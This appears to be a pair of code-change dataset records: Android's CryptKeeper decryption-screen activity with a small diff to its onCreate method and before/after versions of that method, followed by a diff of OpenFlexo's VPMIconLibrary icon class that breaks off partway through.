"com.android.phone.EmergencyDialer.DIAL"; // Debug Intent extras so that this Activity may be started via adb for debugging UI layouts private static final String EXTRA_FORCE_VIEW = "com.android.settings.CryptKeeper.DEBUG_FORCE_VIEW"; private static final String FORCE_VIEW_PROGRESS = "progress"; private static final String FORCE_VIEW_ENTRY = "entry"; private static final String FORCE_VIEW_ERROR = "error"; /** When encryption is detected, this flag indivates whether or not we've checked for erros. */ private boolean mValidationComplete; private boolean mValidationRequested; /** A flag to indicate that the volume is in a bad state (e.g. partially encrypted). */ private boolean mEncryptionGoneBad; private int mCooldown; PowerManager.WakeLock mWakeLock; private EditText mPasswordEntry; /** * Used to propagate state through configuration changes (e.g. screen rotation) */ private static class NonConfigurationInstanceState { final PowerManager.WakeLock wakelock; NonConfigurationInstanceState(PowerManager.WakeLock _wakelock) { wakelock = _wakelock; } } // This activity is used to fade the screen to black after the password is entered. public static class Blank extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.crypt_keeper_blank); } } private class DecryptTask extends AsyncTask<String, Void, Integer> { @Override protected Integer doInBackground(String... params) { IMountService service = getMountService(); try { return service.decryptStorage(params[0]); } catch (Exception e) { Log.e(TAG, "Error while decrypting...", e); return -1; } } @Override protected void onPostExecute(Integer failedAttempts) { if (failedAttempts == 0) { // The password was entered successfully. Start the Blank activity // so this activity animates to black before the devices starts. Note // It has 1 second to complete the animation or it will be frozen // until the boot animation comes back up. Intent intent = new Intent(CryptKeeper.this, Blank.class); finish(); startActivity(intent); } else if (failedAttempts == MAX_FAILED_ATTEMPTS) { // Factory reset the device. sendBroadcast(new Intent("android.intent.action.MASTER_CLEAR")); } else if ((failedAttempts % COOL_DOWN_ATTEMPTS) == 0) { mCooldown = COOL_DOWN_INTERVAL; cooldown(); } else { TextView tv = (TextView) findViewById(R.id.status); tv.setText(R.string.try_again); tv.setVisibility(View.VISIBLE); // Reenable the password entry mPasswordEntry.setEnabled(true); } } } private class ValidationTask extends AsyncTask<Void, Void, Boolean> { @Override protected Boolean doInBackground(Void... params) { IMountService service = getMountService(); try { Log.d(TAG, "Validating encryption state."); int state = service.getEncryptionState(); if (state == IMountService.ENCRYPTION_STATE_NONE) { Log.w(TAG, "Unexpectedly in CryptKeeper even though there is no encryption."); return true; // Unexpected, but fine, I guess... } return state == IMountService.ENCRYPTION_STATE_OK; } catch (RemoteException e) { Log.w(TAG, "Unable to get encryption state properly"); return true; } } @Override protected void onPostExecute(Boolean result) { mValidationComplete = true; if (Boolean.FALSE.equals(result)) { Log.w(TAG, "Incomplete, or corrupted encryption detected. Prompting user to wipe."); mEncryptionGoneBad = true; } else { Log.d(TAG, "Encryption state validated. Proceeding to configure UI"); } setupUi(); } } private final Handler mHandler = new Handler() { @Override public void handleMessage(Message msg) { switch (msg.what) { case UPDATE_PROGRESS: updateProgress(); break; case COOLDOWN: cooldown(); break; } } }; /** @return whether or not this Activity was started for debugging the UI only. */ private boolean isDebugView() { return getIntent().hasExtra(EXTRA_FORCE_VIEW); } /** @return whether or not this Activity was started for debugging the specific UI view only. */ private boolean isDebugView(String viewType /* non-nullable */) { return viewType.equals(getIntent().getStringExtra(EXTRA_FORCE_VIEW)); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // If we are not encrypted or encrypting, get out quickly. String state = SystemProperties.get("vold.decrypt"); if (!isDebugView() && ("".equals(state) || DECRYPT_STATE.equals(state))) { // Disable the crypt keeper. PackageManager pm = getPackageManager(); ComponentName name = new ComponentName(this, CryptKeeper.class); pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); // Typically CryptKeeper is launched as the home app. We didn't - // want to be running, so need to finish this activity and re-launch - // its intent now that we are not in the way of doing what is really - // supposed to happen. + // want to be running, so need to finish this activity. We can count + // on the activity manager re-launching the new home app upon finishing + // this one, since this will leave the activity stack empty. // NOTE: This is really grungy. I think it would be better for the // activity manager to explicitly launch the crypt keeper instead of // home in the situation where we need to decrypt the device finish(); - Intent intent = getIntent(); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.setComponent(null); - startActivity(intent); return; } // Disable the status bar StatusBarManager sbm = (StatusBarManager) getSystemService(Context.STATUS_BAR_SERVICE); sbm.disable(StatusBarManager.DISABLE_EXPAND | StatusBarManager.DISABLE_NOTIFICATION_ICONS | StatusBarManager.DISABLE_NOTIFICATION_ALERTS | StatusBarManager.DISABLE_SYSTEM_INFO | StatusBarManager.DISABLE_HOME | StatusBarManager.DISABLE_RECENT | StatusBarManager.DISABLE_BACK); // Check for (and recover) retained instance data Object lastInstance = getLastNonConfigurationInstance(); if (lastInstance instanceof NonConfigurationInstanceState) { NonConfigurationInstanceState retained = (NonConfigurationInstanceState) lastInstance; mWakeLock = retained.wakelock; Log.d(TAG, "Restoring wakelock from NonConfigurationInstanceState"); } } /** * Note, we defer the state check and screen setup to onStart() because this will be * re-run if the user clicks the power button (sleeping/waking the screen), and this is * especially important if we were to lose the wakelock for any reason. */ @Override public void onStart() { super.onStart(); setupUi(); } /** * Initializes the UI based on the current state of encryption. * This is idempotent - calling repeatedly will simply re-initialize the UI. */ private void setupUi() { if (mEncryptionGoneBad || isDebugView(FORCE_VIEW_ERROR)) { setContentView(R.layout.crypt_keeper_progress); showFactoryReset(); return; } String progress = SystemProperties.get("vold.encrypt_progress"); if (!"".equals(progress) || isDebugView(FORCE_VIEW_PROGRESS)) { setContentView(R.layout.crypt_keeper_progress); encryptionProgressInit(); } else if (mValidationComplete) { setContentView(R.layout.crypt_keeper_password_entry); passwordEntryInit(); } else if (!mValidationRequested) { // We're supposed to be encrypted, but no validation has been done. new ValidationTask().execute((Void[]) null); mValidationRequested = true; } } @Override public void onStop() { super.onStop(); mHandler.removeMessages(COOLDOWN); mHandler.removeMessages(UPDATE_PROGRESS); } /** * Reconfiguring, so propagate the wakelock to the next instance. This runs between onStop() * and onDestroy() and only if we are changing configuration (e.g. rotation). Also clears * mWakeLock so the subsequent call to onDestroy does not release it. */ @Override public Object onRetainNonConfigurationInstance() { NonConfigurationInstanceState state = new NonConfigurationInstanceState(mWakeLock); Log.d(TAG, "Handing wakelock off to NonConfigurationInstanceState"); mWakeLock = null; return state; } @Override public void onDestroy() { super.onDestroy(); if (mWakeLock != null) { Log.d(TAG, "Releasing and destroying wakelock"); mWakeLock.release(); mWakeLock = null; } } private void encryptionProgressInit() { // Accquire a partial wakelock to prevent the device from sleeping. Note // we never release this wakelock as we will be restarted after the device // is encrypted. Log.d(TAG, "Encryption progress screen initializing."); if (mWakeLock == null) { Log.d(TAG, "Acquiring wakelock."); PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); mWakeLock = pm.newWakeLock(PowerManager.FULL_WAKE_LOCK, TAG); mWakeLock.acquire(); } ProgressBar progressBar = (ProgressBar) findViewById(R.id.progress_bar); progressBar.setIndeterminate(true); updateProgress(); } private void showFactoryReset() { // Hide the encryption-bot to make room for the "factory reset" button findViewById(R.id.encroid).setVisibility(View.GONE); // Show the reset button, failure text, and a divider Button button = (Button) findViewById(R.id.factory_reset); button.setVisibility(View.VISIBLE); button.setOnClickListener(new OnClickListener() { public void onClick(View v) { // Factory reset the device. sendBroadcast(new Intent("android.intent.action.MASTER_CLEAR")); } }); TextView tv = (TextView) findViewById(R.id.title); tv.setText(R.string.crypt_keeper_failed_title); tv = (TextView) findViewById(R.id.status); tv.setText(R.string.crypt_keeper_failed_summary); View view = findViewById(R.id.bottom_divider); if (view != null) { view.setVisibility(View.VISIBLE); } } private void updateProgress() { String state = SystemProperties.get("vold.encrypt_progress"); if ("error_partially_encrypted".equals(state)) { showFactoryReset(); return; } int progress = 0; try { // Force a 50% progress state when debugging the view. progress = isDebugView() ? 50 : Integer.parseInt(state); } catch (Exception e) { Log.w(TAG, "Error parsing progress: " + e.toString()); } CharSequence status = getText(R.string.crypt_keeper_setup_description); Log.v(TAG, "Encryption progress: " + progress); TextView tv = (TextView) findViewById(R.id.status); tv.setText(TextUtils.expandTemplate(status, Integer.toString(progress))); // Check the progress every 5 seconds mHandler.removeMessages(UPDATE_PROGRESS); mHandler.sendEmptyMessageDelayed(UPDATE_PROGRESS, 5000); } private void cooldown() { TextView tv = (TextView) findViewById(R.id.status); if (mCooldown <= 0) { // Re-enable the password entry mPasswordEntry.setEnabled(true); tv.setVisibility(View.GONE); } else { CharSequence template = getText(R.string.crypt_keeper_cooldown); tv.setText(TextUtils.expandTemplate(template, Integer.toString(mCooldown))); tv.setVisibility(View.VISIBLE); mCooldown--; mHandler.removeMessages(COOLDOWN); mHandler.sendEmptyMessageDelayed(COOLDOWN, 1000); // Tick every second } } private void passwordEntryInit() { mPasswordEntry = (EditText) findViewById(R.id.passwordEntry); mPasswordEntry.setOnEditorActionListener(this); mPasswordEntry.requestFocus(); View imeSwitcher = findViewById(R.id.switch_ime_button); final InputMethodManager imm = (InputMethodManager) getSystemService( Context.INPUT_METHOD_SERVICE); if (imeSwitcher != null && hasMultipleEnabledIMEsOrSubtypes(imm, false)) { imeSwitcher.setVisibility(View.VISIBLE); imeSwitcher.setOnClickListener(new OnClickListener() { public void onClick(View v) { imm.showInputMethodPicker(); } }); } // Asynchronously throw up the IME, since there are issues with requesting it to be shown // immediately. mHandler.postDelayed(new Runnable() { @Override public void run() { imm.showSoftInputUnchecked(0, null); } }, 0); updateEmergencyCallButtonState(); } /** * Method adapted from com.android.inputmethod.latin.Utils * * @param imm The input method manager * @param shouldIncludeAuxiliarySubtypes * @return true if we have multiple IMEs to choose from */ private boolean hasMultipleEnabledIMEsOrSubtypes(InputMethodManager imm, final boolean shouldIncludeAuxiliarySubtypes) { final List<InputMethodInfo> enabledImis = imm.getEnabledInputMethodList(); // Number of the filtered IMEs int filteredImisCount = 0; for (InputMethodInfo imi : enabledImis) { // We can return true immediately after we find two or more filtered IMEs. if (filteredImisCount > 1) return true; final List<InputMethodSubtype> subtypes = imm.getEnabledInputMethodSubtypeList(imi, true); // IMEs that have no subtypes should be counted. if (subtypes.isEmpty()) { ++filteredImisCount; continue; } int auxCount = 0; for (InputMethodSubtype subtype : subtypes) { if (subtype.isAuxiliary()) { ++auxCount; } } final int nonAuxCount = subtypes.size() - auxCount; // IMEs that have one or more non-auxiliary subtypes should be counted. // If shouldIncludeAuxiliarySubtypes is true, IMEs that have two or more auxiliary // subtypes should be counted as well. if (nonAuxCount > 0 || (shouldIncludeAuxiliarySubtypes && auxCount > 1)) { ++filteredImisCount; continue; } } return filteredImisCount > 1 // imm.getEnabledInputMethodSubtypeList(null, false) will return the current IME's enabled // input method subtype (The current IME should be LatinIME.) || imm.getEnabledInputMethodSubtypeList(null, false).size() > 1; } private IMountService getMountService() { IBinder service = ServiceManager.getService("mount"); if (service != null) { return IMountService.Stub.asInterface(service); } return null; } @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == EditorInfo.IME_NULL || actionId == EditorInfo.IME_ACTION_DONE) { // Get the password String password = v.getText().toString(); if (TextUtils.isEmpty(password)) { return true; } // Now that we have the password clear the password field. v.setText(null); // Disable the password entry while checking the password. This // we either be reenabled if the password was wrong or after the // cooldown period. mPasswordEntry.setEnabled(false); Log.d(TAG, "Attempting to send command to decrypt"); new DecryptTask().execute(password); return true; } return false; } // // Code to update the state of, and handle clicks from, the "Emergency call" button. // // This code is mostly duplicated from the corresponding code in // LockPatternUtils and LockPatternKeyguardView under frameworks/base. // private void updateEmergencyCallButtonState() { Button button = (Button) findViewById(R.id.emergencyCallButton); // The button isn't present at all in some configurations. if (button == null) return; if (isEmergencyCallCapable()) { button.setVisibility(View.VISIBLE); button.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { takeEmergencyCallAction(); } }); } else { button.setVisibility(View.GONE); return; } int newState = TelephonyManager.getDefault().getCallState(); int textId; if (newState == TelephonyManager.CALL_STATE_OFFHOOK) { // show "return to call" text and show phone icon textId = R.string.cryptkeeper_return_to_call; int phoneCallIcon = R.drawable.stat_sys_phone_call; button.setCompoundDrawablesWithIntrinsicBounds(phoneCallIcon, 0, 0, 0); } else { textId = R.string.cryptkeeper_emergency_call; int emergencyIcon = R.drawable.ic_emergency; button.setCompoundDrawablesWithIntrinsicBounds(emergencyIcon, 0, 0, 0); } button.setText(textId); } private boolean isEmergencyCallCapable() { return getResources().getBoolean(com.android.internal.R.bool.config_voice_capable); } private void takeEmergencyCallAction() { if (TelephonyManager.getDefault().getCallState() == TelephonyManager.CALL_STATE_OFFHOOK) { resumeCall(); } else { launchEmergencyDialer(); } } private void resumeCall() { ITelephony phone = ITelephony.Stub.asInterface(ServiceManager.checkService("phone")); if (phone != null) { try { phone.showCallScreen(); } catch (RemoteException e) { Log.e(TAG, "Error calling ITelephony service: " + e); } } } private void launchEmergencyDialer() { Intent intent = new Intent(ACTION_EMERGENCY_DIAL); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); startActivity(intent); } }
false
true
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // If we are not encrypted or encrypting, get out quickly. String state = SystemProperties.get("vold.decrypt"); if (!isDebugView() && ("".equals(state) || DECRYPT_STATE.equals(state))) { // Disable the crypt keeper. PackageManager pm = getPackageManager(); ComponentName name = new ComponentName(this, CryptKeeper.class); pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); // Typically CryptKeeper is launched as the home app. We didn't // want to be running, so need to finish this activity and re-launch // its intent now that we are not in the way of doing what is really // supposed to happen. // NOTE: This is really grungy. I think it would be better for the // activity manager to explicitly launch the crypt keeper instead of // home in the situation where we need to decrypt the device finish(); Intent intent = getIntent(); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setComponent(null); startActivity(intent); return; } // Disable the status bar StatusBarManager sbm = (StatusBarManager) getSystemService(Context.STATUS_BAR_SERVICE); sbm.disable(StatusBarManager.DISABLE_EXPAND | StatusBarManager.DISABLE_NOTIFICATION_ICONS | StatusBarManager.DISABLE_NOTIFICATION_ALERTS | StatusBarManager.DISABLE_SYSTEM_INFO | StatusBarManager.DISABLE_HOME | StatusBarManager.DISABLE_RECENT | StatusBarManager.DISABLE_BACK); // Check for (and recover) retained instance data Object lastInstance = getLastNonConfigurationInstance(); if (lastInstance instanceof NonConfigurationInstanceState) { NonConfigurationInstanceState retained = (NonConfigurationInstanceState) lastInstance; mWakeLock = retained.wakelock; Log.d(TAG, "Restoring wakelock from NonConfigurationInstanceState"); } }
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // If we are not encrypted or encrypting, get out quickly. String state = SystemProperties.get("vold.decrypt"); if (!isDebugView() && ("".equals(state) || DECRYPT_STATE.equals(state))) { // Disable the crypt keeper. PackageManager pm = getPackageManager(); ComponentName name = new ComponentName(this, CryptKeeper.class); pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); // Typically CryptKeeper is launched as the home app. We didn't // want to be running, so need to finish this activity. We can count // on the activity manager re-launching the new home app upon finishing // this one, since this will leave the activity stack empty. // NOTE: This is really grungy. I think it would be better for the // activity manager to explicitly launch the crypt keeper instead of // home in the situation where we need to decrypt the device finish(); return; } // Disable the status bar StatusBarManager sbm = (StatusBarManager) getSystemService(Context.STATUS_BAR_SERVICE); sbm.disable(StatusBarManager.DISABLE_EXPAND | StatusBarManager.DISABLE_NOTIFICATION_ICONS | StatusBarManager.DISABLE_NOTIFICATION_ALERTS | StatusBarManager.DISABLE_SYSTEM_INFO | StatusBarManager.DISABLE_HOME | StatusBarManager.DISABLE_RECENT | StatusBarManager.DISABLE_BACK); // Check for (and recover) retained instance data Object lastInstance = getLastNonConfigurationInstance(); if (lastInstance instanceof NonConfigurationInstanceState) { NonConfigurationInstanceState retained = (NonConfigurationInstanceState) lastInstance; mWakeLock = retained.wakelock; Log.d(TAG, "Restoring wakelock from NonConfigurationInstanceState"); } }
diff --git a/flexodesktop/GUI/flexo/src/main/java/org/openflexo/icon/VPMIconLibrary.java b/flexodesktop/GUI/flexo/src/main/java/org/openflexo/icon/VPMIconLibrary.java index 17c8ab4cd..1f4cf0ecd 100644 --- a/flexodesktop/GUI/flexo/src/main/java/org/openflexo/icon/VPMIconLibrary.java +++ b/flexodesktop/GUI/flexo/src/main/java/org/openflexo/icon/VPMIconLibrary.java @@ -1,333 +1,333 @@ /* * (c) Copyright 2010-2011 AgileBirds * * This file is part of OpenFlexo. * * OpenFlexo is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * OpenFlexo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OpenFlexo. If not, see <http://www.gnu.org/licenses/>. * */ package org.openflexo.icon; import java.util.logging.Logger; import javax.swing.ImageIcon; import org.openflexo.foundation.FlexoServiceManager; import org.openflexo.foundation.rm.DiagramPaletteResource; import org.openflexo.foundation.rm.ExampleDiagramResource; import org.openflexo.foundation.rm.ViewPointResource; import org.openflexo.foundation.technologyadapter.ModelSlot; import org.openflexo.foundation.technologyadapter.TechnologyAdapter; import org.openflexo.foundation.view.diagram.viewpoint.ConnectorPatternRole; import org.openflexo.foundation.view.diagram.viewpoint.DiagramPalette; import org.openflexo.foundation.view.diagram.viewpoint.DiagramPaletteElement; import org.openflexo.foundation.view.diagram.viewpoint.DiagramPatternRole; import org.openflexo.foundation.view.diagram.viewpoint.DropScheme; import org.openflexo.foundation.view.diagram.viewpoint.ExampleDiagram; import org.openflexo.foundation.view.diagram.viewpoint.ExampleDiagramConnector; import org.openflexo.foundation.view.diagram.viewpoint.ExampleDiagramShape; import org.openflexo.foundation.view.diagram.viewpoint.LinkScheme; import org.openflexo.foundation.view.diagram.viewpoint.ShapePatternRole; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.AddConnector; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.AddDiagram; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.AddShape; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.CloneConnector; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.CloneShape; import org.openflexo.foundation.view.diagram.viewpoint.editionaction.GraphicalAction; import org.openflexo.foundation.viewpoint.ActionScheme; import org.openflexo.foundation.viewpoint.AddClass; import org.openflexo.foundation.viewpoint.AddEditionPattern; import org.openflexo.foundation.viewpoint.AddIndividual; import org.openflexo.foundation.viewpoint.CloneIndividual; import org.openflexo.foundation.viewpoint.CloningScheme; import org.openflexo.foundation.viewpoint.ConditionalAction; import org.openflexo.foundation.viewpoint.CreationScheme; import org.openflexo.foundation.viewpoint.DataPropertyAssertion; import org.openflexo.foundation.viewpoint.DeclarePatternRole; import org.openflexo.foundation.viewpoint.DeleteAction; import org.openflexo.foundation.viewpoint.DeletionScheme; import org.openflexo.foundation.viewpoint.EditionAction; import org.openflexo.foundation.viewpoint.EditionPattern; import org.openflexo.foundation.viewpoint.EditionPatternPatternRole; import org.openflexo.foundation.viewpoint.EditionSchemeParameter; import org.openflexo.foundation.viewpoint.FlexoModelObjectPatternRole; import org.openflexo.foundation.viewpoint.IterationAction; import org.openflexo.foundation.viewpoint.LocalizedDictionary; import org.openflexo.foundation.viewpoint.NavigationScheme; import org.openflexo.foundation.viewpoint.ObjectPropertyAssertion; import org.openflexo.foundation.viewpoint.OntologicObjectPatternRole; import org.openflexo.foundation.viewpoint.PaletteElementPatternParameter; import org.openflexo.foundation.viewpoint.PatternRole; import org.openflexo.foundation.viewpoint.PrimitivePatternRole; import org.openflexo.foundation.viewpoint.ViewPoint; import org.openflexo.foundation.viewpoint.ViewPointObject; import org.openflexo.foundation.viewpoint.inspector.EditionPatternInspector; import org.openflexo.toolbox.ImageIconResource; import org.openflexo.view.controller.TechnologyAdapterController; import org.openflexo.view.controller.TechnologyAdapterControllerService; /** * Utility class containing all icons used in context of VPMModule * * @author sylvain * */ public class VPMIconLibrary extends IconLibrary { private static final Logger logger = Logger.getLogger(VPMIconLibrary.class.getPackage().getName()); // Module icons public static final ImageIcon VPM_SMALL_ICON = new ImageIconResource("Icons/VPM/module-vpm-16.png"); public static final ImageIcon VPM_MEDIUM_ICON = new ImageIconResource("Icons/VPM/module-vpm-32.png"); public static final ImageIcon VPM_MEDIUM_ICON_WITH_HOVER = new ImageIconResource("Icons/VPM/module-vpm-hover-32.png"); public static final ImageIcon VPM_BIG_ICON = new ImageIconResource("Icons/VPM/module-vpm-hover-64.png"); // Perspective icons public static final ImageIcon VPM_VPE_ACTIVE_ICON = new ImageIconResource("Icons/VPM/viewpoint-perspective.png"); public static final ImageIcon VPM_VPE_SELECTED_ICON = new ImageIconResource("Icons/VPM/viewpoint-perspective-hover.png"); public static final ImageIcon VPM_OP_ACTIVE_ICON = new ImageIconResource("Icons/VPM/ontology-perspective.png"); public static final ImageIcon VPM_OP_SELECTED_ICON = new ImageIconResource("Icons/VPM/ontology-perspective-hover.png"); // Editor icons public static final ImageIcon NO_HIERARCHY_MODE_ICON = new ImageIconResource("Icons/VPM/NoHierarchyViewMode.gif"); public static final ImageIcon PARTIAL_HIERARCHY_MODE_ICON = new ImageIconResource("Icons/VPM/PartialHierarchyViewMode.gif"); public static final ImageIcon FULL_HIERARCHY_MODE_ICON = new ImageIconResource("Icons/VPM/FullHierarchyViewMode.gif"); // Model icons public static final ImageIconResource VIEWPOINT_LIBRARY_ICON = new ImageIconResource("Icons/Model/VPM/ViewPointLibrary.png"); public static final ImageIconResource VIEWPOINT_ICON = new ImageIconResource("Icons/Model/VPM/ViewPoint.png"); public static final ImageIconResource MODEL_SLOT_ICON = new ImageIconResource("Icons/Model/VPM/ModelSlot.png"); public static final ImageIconResource DIAGRAM_PALETTE_ICON = new ImageIconResource("Icons/Model/VPM/DiagramPalette.png"); public static final ImageIconResource EDITION_PATTERN_ICON = new ImageIconResource("Icons/Model/VPM/EditionPattern.png"); public static final ImageIconResource ACTION_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/ActionSchemeIcon.png"); public static final ImageIconResource DROP_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/DropSchemeIcon.png"); public static final ImageIconResource LINK_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/LinkSchemeIcon.png"); public static final ImageIconResource CLONING_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/CloningSchemeIcon.png"); public static final ImageIconResource CREATION_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/CreationSchemeIcon.png"); public static final ImageIconResource DELETION_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/DeletionSchemeIcon.png"); public static final ImageIconResource NAVIGATION_SCHEME_ICON = new ImageIconResource("Icons/Model/VPM/NavigationSchemeIcon.png"); public static final ImageIconResource EDITION_PATTERN_PARAMETER_ICON = new ImageIconResource("Icons/Model/VPM/ParameterIcon.png"); public static final ImageIconResource EDITION_PATTERN_ACTION_ICON = new ImageIconResource("Icons/Model/VPM/ActionIcon.png"); public static final ImageIconResource LOCALIZATION_ICON = new ImageIconResource("Icons/Model/VPM/LocalizationIcon.png"); public static final ImageIconResource UNKNOWN_ICON = new ImageIconResource("Icons/Model/VPM/UnknownIcon.gif"); public static final ImageIconResource EXAMPLE_DIAGRAM_ICON = new ImageIconResource("Icons/Model/VPM/ExampleDiagram.png"); public static final ImageIconResource SHAPE_ICON = new ImageIconResource("Icons/Model/VPM/ShapeIcon.png"); public static final ImageIconResource CONNECTOR_ICON = new ImageIconResource("Icons/Model/VPM/ConnectorIcon.gif"); public static final ImageIconResource DECLARE_PATTERN_ROLE_ICON = new ImageIconResource("Icons/Model/VPM/DeclarePatternRoleIcon.png"); public static final ImageIconResource GRAPHICAL_ACTION_ICON = new ImageIconResource("Icons/Model/VPM/GraphicalActionIcon.png"); public static final ImageIconResource CONDITIONAL_ACTION_ICON = new ImageIconResource("Icons/Model/VPM/ConditionalActionIcon.png"); public static final ImageIconResource ITERATION_ACTION_ICON = new ImageIconResource("Icons/Model/VPM/IterationActionIcon.png"); /** * Return the technology-specific controller for supplied technology adapter * * @param technologyAdapter * @return */ public static <TA extends TechnologyAdapter<?, ?>> TechnologyAdapterController<TA> getTechnologyAdapterController(TA technologyAdapter) { if (technologyAdapter != null) { try { FlexoServiceManager sm = technologyAdapter.getTechnologyAdapterService().getFlexoServiceManager(); if (sm != null) { TechnologyAdapterControllerService service = sm.getService(TechnologyAdapterControllerService.class); if (service != null) { return service.getTechnologyAdapterController(technologyAdapter); } } } catch (Exception e) { e.printStackTrace(); } } return null; } public static ImageIcon iconForObject(ViewPointObject object) { if (object instanceof PatternRole && ((PatternRole) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((PatternRole) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForPatternRole((Class<? extends PatternRole>) object.getClass()); } } else if (object instanceof EditionAction && ((EditionAction) object).getModelSlot() != null) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((EditionAction) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForEditionAction((Class<? extends EditionAction>) object.getClass()); } } if (object instanceof ModelSlot) { return MODEL_SLOT_ICON; } else if (object instanceof EditionPatternInspector) { return INSPECT_ICON; } if (object instanceof DiagramPalette) { return DIAGRAM_PALETTE_ICON; } else if (object instanceof DiagramPaletteElement) { return SHAPE_ICON; } else if (object instanceof DataPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((DataPropertyAssertion) object).getAction().getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((DataPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ObjectPropertyAssertion) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((ObjectPropertyAssertion) object).getAction() .getModelSlot().getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((ObjectPropertyAssertion) object).getOntologyProperty().getClass()); } return null; } else if (object instanceof ExampleDiagramConnector) { return CONNECTOR_ICON; } else if (object instanceof ExampleDiagramShape) { return SHAPE_ICON; } else if (object instanceof ExampleDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof EditionAction) { if (object instanceof AddClass) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddClass) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return tac.getIconForOntologyObject(((AddClass) object).getOntologyClassClass()); } return null; } else if (object instanceof CloneIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null) { return IconFactory.getImageIcon(tac.getIconForOntologyObject(((AddIndividual) object).getOntologyClass().getClass()), DUPLICATE); } return null; } else if (object instanceof AddIndividual) { TechnologyAdapterController<?> tac = getTechnologyAdapterController(((AddIndividual) object).getModelSlot() .getTechnologyAdapter()); if (tac != null && ((AddIndividual) object).getOntologyClass() != null) { return tac.getIconForOntologyObject(((AddIndividual) object).getOntologyIndividualClass()); } return null; } else if (object instanceof AddDiagram) { return EXAMPLE_DIAGRAM_ICON; } else if (object instanceof AddEditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof CloneShape) { return IconFactory.getImageIcon(SHAPE_ICON, DUPLICATE); } else if (object instanceof AddShape) { return SHAPE_ICON; } else if (object instanceof CloneConnector) { return IconFactory.getImageIcon(CONNECTOR_ICON, DUPLICATE); } else if (object instanceof AddConnector) { return CONNECTOR_ICON; } /*else if (object instanceof AddStatement) { return OntologyIconLibrary.ONTOLOGY_STATEMENT_ICON; }*/else if (object instanceof DeclarePatternRole) { return DECLARE_PATTERN_ROLE_ICON; } else if (object instanceof ConditionalAction) { return CONDITIONAL_ACTION_ICON; } else if (object instanceof IterationAction) { return ITERATION_ACTION_ICON; } else if (object instanceof DeleteAction) { PatternRole pr = ((DeleteAction) object).getPatternRole(); if (pr != null) { ImageIcon baseIcon = iconForObject(pr); return IconFactory.getImageIcon(baseIcon, DELETE); } return DELETE_ICON; } else if (object instanceof GraphicalAction) { return GRAPHICAL_ACTION_ICON; } return EDITION_PATTERN_ACTION_ICON; } else if (object instanceof EditionPattern) { return EDITION_PATTERN_ICON; } else if (object instanceof EditionSchemeParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof ActionScheme) { return ACTION_SCHEME_ICON; } else if (object instanceof DropScheme) { return DROP_SCHEME_ICON; } else if (object instanceof LinkScheme) { return LINK_SCHEME_ICON; } else if (object instanceof CloningScheme) { return CLONING_SCHEME_ICON; } else if (object instanceof CreationScheme) { return CREATION_SCHEME_ICON; } else if (object instanceof NavigationScheme) { return NAVIGATION_SCHEME_ICON; } else if (object instanceof DeletionScheme) { return DELETION_SCHEME_ICON; } else if (object instanceof ViewPoint) { return VIEWPOINT_ICON; } else if (object instanceof PaletteElementPatternParameter) { return EDITION_PATTERN_PARAMETER_ICON; } else if (object instanceof FlexoModelObjectPatternRole) { if (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType() != null) { switch (((FlexoModelObjectPatternRole) object).getFlexoModelObjectType()) { case Process: return WKFIconLibrary.PROCESS_ICON; case ProcessFolder: return WKFIconLibrary.PROCESS_FOLDER_ICON; case Role: return WKFIconLibrary.ROLE_ICON; case Activity: return WKFIconLibrary.ACTIVITY_NODE_ICON; case Operation: return WKFIconLibrary.OPERATION_NODE_ICON; case Action: return WKFIconLibrary.ACTION_NODE_ICON; case 